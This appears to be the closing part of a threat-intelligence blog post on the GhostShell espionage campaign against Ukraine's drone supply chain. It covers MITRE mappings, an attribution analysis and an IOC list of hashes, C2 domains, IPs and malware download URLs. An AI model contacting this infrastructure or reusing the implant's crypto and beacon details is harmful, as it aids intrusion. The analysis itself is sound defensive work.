      "comment": "HTTPS beacons to cndexpress.cc and HTTPS stager traffic to 86.54.25.2."
    },
    {
      "technique_id": "T1573.002",
      "name": "Encrypted Channel: Asymmetric Cryptography",
      "tactic": "Command and Control",
      "comment": "EC mutual-TLS (P-256) client-cert authentication between Stage-2 implant and cndexpress.cc."
    },
    {
      "technique_id": "T1090",
      "name": "Proxy",
      "tactic": "Command and Control",
      "comment": "22.exe routes traffic through an embedded Xray-Core VLESS/XTLS/REALITY tunnel to 5.181.156.168:25475."
    },
    {
      "technique_id": "T1113",
      "name": "Screen Capture",
      "tactic": "Collection",
      "comment": "Stage-2 implant uses GDI+ (GdiplusStartup/GetDC/CreateCompatibleBitmap/BitBlt)."
    },
    {
      "technique_id": "T1555.003",
      "name": "Credentials from Password Stores: Credentials from Web Browsers",
      "tactic": "Credential Access",
      "comment": "Vidar v2 steals browser passwords, cookies, autofill and extension data."
    }
  ],
  "x_actor_name": "GhostShell",
  "x_malwarebox_id": "MB-0009",
  "x_cve": ["CVE-2025-8088", "CVE-2025-6218"],
  "x_victim_context": "Ukraine UAV / drone supply chain - military units, technical personnel, procurement staff, volunteer organisations and defense-sector partners; lures impersonate the Ukrainian fixed-wing drone manufacturer Besomar.",
  "x_source_reports": [
    "Synaptic Security Blog - GhostShell (MB-0009): Targeting Ukraine's UAV Operations and Defense Supply Chain"
  ],
  "x_source_urls": [
    "https://blog.synapticsystems.de/ghostshell-mb-0009-targeting-ukraines-uav-operations-and-defense-supply-chain/"
  ],
  "x_report_published_at": "2026-06-22T00:00:00Z",
  "x_cluster_pivots": [
    "Issuer CN=GhostShell Implant CA on the implant mTLS PKI (very likely hard-coded in the C2 builder; strongest pivot).",
    "Stage-2 config decrypt routine (i*7 - 0x58) & 0xFF with AVX2 + scalar paths.",
    "CRPT XOR overlay key d0cd4cb8d4673e28.",
    "Beacon template implant=v%u.%u.%u&host=%s&user=%s&pid=%lu&tid=%lu (YARA-able).",
    "Infra discipline: registrar/hosting separation (PDR+Cogent/Ultahost vs Spaceship+MivoCloud), per-phase rotation, reused AI-generated decoy hosting pages."
  ],
  "x_solbit_note": "Surface signals (Ukrainian lures, UTC+2 PDF timestamps, 'benefits Russia' cui-bono) all point one way but are the cheapest to plant; the expensive origin-bearing deep signals (custom crypto routine, implant PKI, infra discipline) are currently neutral. No surface/deep divergence indicating a false flag, but also no deep evidence for a sponsor: attribution is held honestly at cluster level (GhostShell / MB-0009), not at sponsor level.",
  "x_publication_safety": "URL entity values are defanged (hxxps, [.]); domain and ip entity values are kept live for tooling/pivoting. Hashes, the cert fingerprint and crypto keys are from the published analyst report.",
  "x_corrective_notes": [
    "Modeled the implant mTLS client certificate as a 'staging' position (auth/transport material) because IIM v1.1 has no credential role; documented in review_notes.",
    "Telegram dead-drop tagged IIM-T013 + IIM-T006 only (not IIM-T018), since Telegram resolves the next-hop host rather than acting as the bidirectional message bus.",
    "22.exe -> cloudaxis hosting edge kept tentative: KRAKEN found 22.exe on the infrastructure but the exact delivery URL/path is not published.",
    "Stage-2 modeled as a descriptive 'file' entity (no clean published SHA-256); MD5 df587c58c82d7cfb41d966d2fe21cecb retained in evidence."
  ]
}

IIM View in KRAKEN

How Do We Use the Extracted Intelligence for Further Analysis?

I recently published another component of the Malwarebox ecosystem: the SOLBIT model.

SOLBIT is a general model for attribution under deception.

CTI is the first domain in which I have implemented it, but the model can, in principle, also be applied to other intelligence disciplines.

In simple terms, SOLBIT divides the available evidence into six domains:

  • Strategic
  • Operational
  • Linguistic
  • Behavioral
  • Infrastructure
  • Technical

That gives us S-O-L-B-I-T.

The interesting part is not merely the list. Each domain receives a weight based on one central question:

How expensive is this signal to fake?

A hash can be changed in seconds.

An artificial timezone can be inserted just as easily.

Infrastructure developed and maintained over several months or a custom cryptographic routine is considerably more expensive to fake.

SOLBIT therefore does not simply add indicators together. It weighs them according to their resistance to manipulation and deliberately checks whether the cheap, easily fabricated surface-level signals and the expensive, deeper signals point in the same direction.

When they do not, that discrepancy becomes a warning sign for a potential false flag.

And this distinction is particularly important in a new case like GhostShell.

SOLBIT separates:

  • The same hand
  • Whose hand

It forces me to be honest about the attribution level we have actually reached:

  • Cluster
  • Persona
  • Real-world sponsor

Instead of seeing a victim, spotting a few convenient artifacts and immediately jumping to a flag.

So, let’s throw the findings from above into the six domains.

Strategic: Intent

The target profile is Ukraines UAV and drone supply chain:

  • Military units
  • Technical personnel
  • Procurement staff
  • Volunteer organizations

This tells us quite a lot about the actors interests, cui bono, but very little about their origin.

That is exactly why SOLBIT assigns this domain relatively little weight when answering the sponsor question.

“They are targeting Ukraine, therefore it must benefit Russia” is precisely the kind of signal that any half-competent false-flag operation could plant just as easily.

Operational: Tradecraft

This is where things start to get more interesting.

The actor deliberately separates registrars and hosting providers:

  • PDR versus Spaceship
  • Cogent in Madrid versus MivoCloud in Missouri

The infrastructure is also rotated between campaign phases. cloudaxis[.]cc dates back to February, while cdnexpress[.]cc was only seven days old at the time of analysis.

At the same time, the actor reuses minimal, AI-generated decoy websites.

These are operational decisions, not random coincidences and decisions are more expensive to fake than a hash.

Linguistic

Evidence in this domain is thin, which is itself worth stating.

The Ukrainian-language decoy PDFs represent target localization, a surface-level signal.

The +02:00 timezone found in the PDF metadata is interesting, but it is also trivial to manipulate.

Free-form text suitable for actual NLI or stylometric analysis?

Nowhere to be found.

Coverage in this domain is therefore low and I am going to call it low instead of inflating a weak signal until it looks more exciting than it really is.

Behavioral

This domain describes how the implant behaves.

The implant:

  • Ignores server-certificate validation errors using flags 0x3300
  • Authenticates using an mTLS client certificate
  • Assigns each implant its own 64-bit identifier
  • Establishes persistence through a Windows Run key
  • Captures screenshots through GDI+

These are behavioral habits that may remain consistent across multiple samples.

Infrastructure: My IIM Stuff

This is the most valuable domain in this case.

We have domains, IP addresses, ASNs, registrars and hosting providers, but most importantly, we have a custom implant PKI using the following issuer:

CN=GhostShell Implant CA

This string is highly likely to be hardcoded into the C2 builder, making it the strongest pivot in the entire artifact set.

Any future sample or server presenting a certificate issued by exactly this CA can be linked back to the same cluster with high confidence.

Technical: IOCs and Code

The technical domain contains the hashes, the XOR overlay key:

d0cd4cb8d4673e28

and, more importantly, the custom decryption routine:

(i * 7 - 0x58) & 0xFF

including both its AVX2 implementation and scalar fallback.

We also have the beacon template:

implant=v%u.%u.%u&host=%s&user=%s&pid=%lu&tid=%lu

Hashes are cheap. They change with every build.

The specific cryptographic routine and beacon format, however, are YARA-able and considerably stickier.

So, What Does SOLBIT Tell Us?

All of the surface-level signals, the Ukrainian lures, the UTC+2 metadata and the fact that the operation would supposedly “benefit Russia” point very obediently in the same direction.

But those are also the cheapest signals to plant.

The expensive, origin-bearing, deeper signals, the cryptographic routine, the implant PKI and the actors infrastructure discipline remain neutral for now.

They are strong enough to track GhostShell as an independent cluster, but not strong enough to attach a national flag to it.
There is also no meaningful surface-to-deep divergence that would scream false flag.
I simply do not yet have deep evidence identifying a sponsor.

In practical terms, SOLBIT allows me to anchor GhostShell as a distinct cluster through its implant CA, decryption routine and infrastructure patterns.

At the same time, it keeps the attribution honestly at the cluster level and prevents me from turning “they are targeting Ukraine” into a sponsor assessment that the available evidence simply does not support.

That is exactly what the model is for.

Previous Findings

I have already mentioned that the TA has been active since February 2026.
This is due to the registration of the first domain in February and public posts about the malware / C2 / Telegram

https://x.com/skocherhan/status/2040900975070753103


IoCs

ab5681266f70af7df24383f15de876e411fc18e35cb6f24603b12f580b05ccb3  122.exe
8de34006dafd990853a45cbe9aaab4ee18c8cd4c1ad0a98fe71f8d63cd60db25  22.exe
b1834634820ae696f0514ca2b6723061f115857232306e573f4d115bc6ead012  update.exe
423c98b9a8ad09bbb0aa24e86c23095ef6a26e30b3db07358927929d2fb2ecb3  client.key.pem
1d6f3e8583ce84b892097a03b0d4525850f8d3c59dea56482f17e5c44422dc89  client.cert.pem
c91874dc34e991e614060d6f16da7d4680e5eb7d36fba489644863f4c6c8cf66  config.pfx
a938b7291dbdcdcadb67d560b94bfee366e7f97f06d6f666b25e298c442d8542  БпЛА Besomar 3210.pdf
c5c458a7b1bdfa3cbffdbcd0791912ff19267ad2808a5266a9975b22a53e73e0  Зарядна станція.pdf
e4d377b339f96c69c3001b854b22decae41883bd31f2f5a8c20f57d931ae0b44  Катапульта.pdf
59842745dafd1537c3e2187f82fae7791e646a74251fe20d6c8ebaadf5720880  Комплектація БпЛА Besomar.pdf
54218a8f2d1acc5d1beb576b970bb5333a4b78b05493754d2d1457ebf22a0ac1  Модифікація Besomar 3210-N.pdf
3ec6c91d68b416381ac9f6310a9e011f4060369c63416021864a6d5b91e97dc4  Переваги співпраці.pdf
a8dfa5a35f30c1789ce08b7e16660423bb1545fc8ec7411d24cfd41d1439bb45  Про компанію.pdf
cff6007dbb9826d0a08865f47a71b31e90c5067c637ac863e360315da984f107  БпЛА Besomar 3210.pdf:.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_MicrosoftUpdate-1.302.1609.vbs
28f58061348a1c54fa6e7ff6618630259618d4afdf78514d5fccfc993797cdff  Besomar_documentation.rar
c83272741d42a7aa738fbad85e21d0565e50cbf3b72f32b835c225965b3cc207  122_stage2_unpacked.bin
cloudaxis.cc
https://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/122.exe
https://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/22.exe
https://cloudaxis[.]cc/gsmft/yueu/fkvqld/tvqqwh/ushu/update.exe
154.58.204[.]149
cdnexpress.cc
https://cdnexpress[.]cc/analytics
cdnexpress[.]cc
5.252.177[.]88
t.me/flufff6262
86.54.25[.]2
5.181.156[.]168:25475